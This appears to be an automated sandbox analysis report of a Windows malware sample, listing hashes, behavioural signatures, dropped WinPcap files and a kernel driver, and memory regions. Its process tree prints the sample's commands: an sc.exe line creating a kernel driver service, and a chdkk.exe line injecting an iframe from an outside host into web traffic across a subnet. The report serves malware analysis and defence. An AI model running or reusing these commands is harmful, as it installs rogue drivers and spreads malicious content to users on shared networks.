Analysis

  • max time kernel
    92s
  • max time network
    116s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240412-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system
  • submitted
    15-04-2024 23:19

General

  • Target

    f2278e965052d96535a62992e3ad6074_JaffaCakes118.exe

  • Size

    179KB

  • MD5

    f2278e965052d96535a62992e3ad6074

  • SHA1

    55652fbaba6ec36cc4efe88e15ae07b091a8f195

  • SHA256

    4232acfb5cb648aa98112472224380310428eb47d553e2c3beb538f42e49e215

  • SHA512

    437736cf0561cbb4411a97684b32b149269d6a6872fabec80d2def06d1527bb3fbd898240c44a1f2a153ccac3e821e95a0667b3643d5d5364a72626f89fdacf6

  • SSDEEP

    3072:B+Txy/bdnPJU0FEH2rjIYiWtK4h4URUSzYxfd1UQ0YKZVwlTylrDWIeqHa4OAb8C:g0RnP5EUj7iWM84UmSzwfd1wYKSqHz7p

Score
8/10

Malware Config

Signatures

  • Creates new service(s) 1 TTPs
  • Drops file in Drivers directory 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 6 IoCs
  • Drops file in System32 directory 5 IoCs
  • Launches sc.exe 1 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: LoadsDriver 5 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\f2278e965052d96535a62992e3ad6074_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\f2278e965052d96535a62992e3ad6074_JaffaCakes118.exe"
    1⤵
    • Drops file in Drivers directory
    • Checks computer location settings
    • Drops file in System32 directory
    • Suspicious use of WriteProcessMemory
    PID:4348
    • C:\Windows\SysWOW64\sc.exe
      "C:\Windows\system32\sc.exe" create npf binpath= C:\Windows\system32\drivers\npf.sys type= kernel start= demand
      2⤵
      • Launches sc.exe
      PID:3588
    • C:\Windows\SysWOW64\chdkk.exe
      "C:\Windows\system32\chdkk.exe" -idx 0 -ip 10.127.0.2-10.127.0.254 -port 80 -insert "<iframe src=http://ww.xnibi.com/index.gif width=10 height=1></iframe>"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      PID:1244

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Windows\SysWOW64\Packet.dll

    Filesize

    86KB

    MD5

    9062aeea8cbfc4f0780bbbefad7cebcb

    SHA1

    c4ad39ec51ad0e84fe58f62931d13cddfde3189e

    SHA256

    b2535129b26366484c487cc2ce536d8fcfa9d1ac1dab0db9560b4532012c352c

    SHA512

    60957548fc2272998aea518acf3b1812ed77f73e960a99ddf0d6b474b0858225286c26554bf81c00acf3cb1c77c5ce458d80e149ed4766287d7e32af9681e646

  • C:\Windows\SysWOW64\WanPacket.dll

    Filesize

    66KB

    MD5

    fdd104a9fd3427a1df37041fa947a041

    SHA1

    cca1881a3c02033008f78cc39b712b637c7f3e13

    SHA256

    384e928f13bc1c25ca16b3247d7ca942aec6834fadb05b1487f2c975678d4a9a

    SHA512

    9dd082eb245b443cc75b37c69f0a17e15fcb9cdb676b058d87f9805ec7a928e721a681b940fcdd56fd81da4d308f0d514870c526c4f9c715b256a97ab6bb29f7

  • C:\Windows\SysWOW64\chdkk.exe

    Filesize

    13KB

    MD5

    ca42539e85a7f9bb372da8124f7a3254

    SHA1

    94ada2eaf210d3669b9d6873a5463eda6207a12a

    SHA256

    1a40928fca630e735dac69a800d707b67ed2d05740a0b869f438d1ad8245607f

    SHA512

    4e5a897c9d45611ed9b49185819772a6e08342a2449c9d213be90a37a02cd4004e7728cf131db50e82c696210e51752491ce11ca92528c5a1f5a5b2fde3d0017

  • C:\Windows\SysWOW64\drivers\NPF.sys

    Filesize

    41KB

    MD5

    b15e0180c43d8b5219196d76878cc2dd

    SHA1

    33e676b37a3380de32c10ba5bc9170997445d314

    SHA256

    a4a102aab8f91a5b452ae2c9a40f5ebc07bc62af892af57d6e3ad1f4340486ab

    SHA512

    47e0e66e89ad11506aff709e7cd5817f5b68bafd5fbc4cc4f4ba5b82b1845977023c90273c58d580266fc8fdcb7fd230ade9c31a8dcc8b9b6ca146423e848a09

  • C:\Windows\SysWOW64\npptools.dll

    Filesize

    48KB

    MD5

    38e7f4e56118d91df929dba40035c017

    SHA1

    a6fe6350e19622fd60561547a6a6882bdc52bfb7

    SHA256

    281908702a725158d3bab00e7adb50069b1035f1bc5562b196c6bd6c49518361

    SHA512

    c4fa93e6760ce1083afbc0a97cd2a3cbece441acd426da547576d5f8c398554e90f3f89a78cedf5d87233e2de8487b8a6779fcf6346920ba873f4923af9324a4

  • C:\Windows\SysWOW64\wpcap.dll

    Filesize

    234KB

    MD5

    ce842d25e5b7e6ff21a86cad9195fbe8

    SHA1

    d762270be089a89266b012351b52c595e260b59b

    SHA256

    7e8c0119f352424c61d6fad519394924b7aedbf8bfb3557d53c2961747d4c7f3

    SHA512

    84c23addda6ff006d4a3967b472af10a049b2a045d27d988d22153fc3ba517e21520a31eb061a2ef2abf302e365564dd4601d240ec3d5894fb96f10a9fae97d6

  • memory/1244-30-0x00000000005D0000-0x00000000005D1000-memory.dmp

    Filesize

    4KB

  • memory/1244-26-0x0000000000500000-0x0000000000510000-memory.dmp

    Filesize

    64KB

  • memory/1244-31-0x0000000000400000-0x000000000040F000-memory.dmp

    Filesize

    60KB

  • memory/1244-15-0x0000000000400000-0x000000000040F000-memory.dmp

    Filesize

    60KB

  • memory/1244-22-0x0000000000560000-0x0000000000575000-memory.dmp

    Filesize

    84KB

  • memory/4348-0-0x0000000000400000-0x00000000004B5000-memory.dmp

    Filesize

    724KB

  • memory/4348-14-0x0000000000400000-0x00000000004B5000-memory.dmp

    Filesize

    724KB

  • memory/4348-1-0x0000000000530000-0x0000000000531000-memory.dmp

    Filesize

    4KB